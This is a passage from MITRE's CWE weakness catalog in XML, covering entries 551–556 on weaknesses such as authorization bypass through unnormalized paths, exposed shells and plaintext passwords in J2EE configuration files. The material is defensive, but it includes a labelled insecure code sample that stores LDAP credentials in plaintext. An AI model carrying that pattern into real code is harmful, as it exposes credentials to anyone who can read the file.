					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Server Error Message</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="551" Name="Incorrect Behavior Order: Authorization Before Parsing and Canonicalization" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>If a web server does not fully parse requested URLs before it
					examines them for authorization, it may be possible for an attacker to bypass
					authorization protection.</Description_Summary>
				        <Extended_Description>
					          <Text>For instance, the character strings /./ and / both mean current directory.
						If /SomeDirectory is a protected directory and an attacker requests
						/./SomeDirectory, the attacker may be able to gain access to the resource if
						/./ is not converted to / before the authorization check is
						performed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>863</Relationship_Target_ID>
					          <!--Incorrect Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>696</Relationship_Target_ID>
					          <!--Incorrect Behavior Order-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>URL Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated and processed for
							authorization. Make sure that your application does not decode the same
							input twice. Such errors could be used to bypass whitelist schemes by
							introducing dangerous inputs after they have been checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Authentication Before Parsing
						and Canonicalization</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="552" Name="Files or Directories Accessible to External Parties" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Files or directories are accessible in the environment that
					should not be.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>815</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A6 - Security Misconfiguration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that file operations are performed in a secure
						directory</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO15-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that file operations are performed in a secure
						directory</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO15-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2010-09-09</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Errant Files or Directories
						Accessible</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="553" Name="Command Shell in Externally Accessible Directory" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A possible shell file exists in /cgi-bin/ or other accessible
					directories. This is extremely dangerous and can be used by an attacker to
					execute commands on the web server.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove any Shells accessible under the web root folder and children
							directories.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Possible Command Shell
						(csh)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="554" Name="ASP.NET Misconfiguration: Not Using Input Validation Framework" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The ASP.NET application does not use an input validation
					framework.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>10</Relationship_Target_ID>
					          <!--ASP.NET Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Unchecked input leads to cross-site scripting, process control, and
							SQL injection vulnerabilities, among others.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the ASP.NET validation framework to check all program input before
							it is processed by the application. Example uses of the validation
							framework include checking to ensure that:</Text>
						            <Block Block_Nature="Numeric_List">
							              <Text>Phone number fields contain only valid characters in phone
								numbers</Text>
							              <Text>Boolean values are only "T" or "F"</Text>
							              <Text>Free-form strings are of a reasonable length and
								composition</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">ASP.NET Misconfiguration:
						Input Validation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="555" Name="J2EE Misconfiguration: Plaintext Password in Configuration File" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The J2EE application stores a plaintext password in a
					configuration file.</Description_Summary>
				        <Extended_Description>
					          <Text>Storing a plaintext password in a configuration file allows anyone who can
						read the file to access the password-protected resource, making it an easy
						target for attackers.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>4</Relationship_Target_ID>
					          <!--J2EE Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>522</Relationship_Target_ID>
					          <!--Insufficiently Protected Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not hardwire passwords into your software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use industry standard libraries to encrypt passwords before storage in
							configuration files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Below is a snippet from a Java properties file in which the LDAP
						server password is stored in plaintext.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=secretPassword</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">J2EE Misconfiguration:
						Password in Configuration File</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="556" Name="ASP.NET Misconfiguration: Use of Identity Impersonation" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Configuring an ASP.NET application to run with impersonated
					credentials may give the application unnecessary
					privileges.</Description_Summary>
				        <Extended_Description>
					          <Text>The use of impersonated credentials allows an ASP.NET application to run
						with either the privileges of the client on whose behalf it is executing or
						with arbitrary privileges granted in its configuration.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>10</Relationship_Target_ID>
					          <!--ASP.NET Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
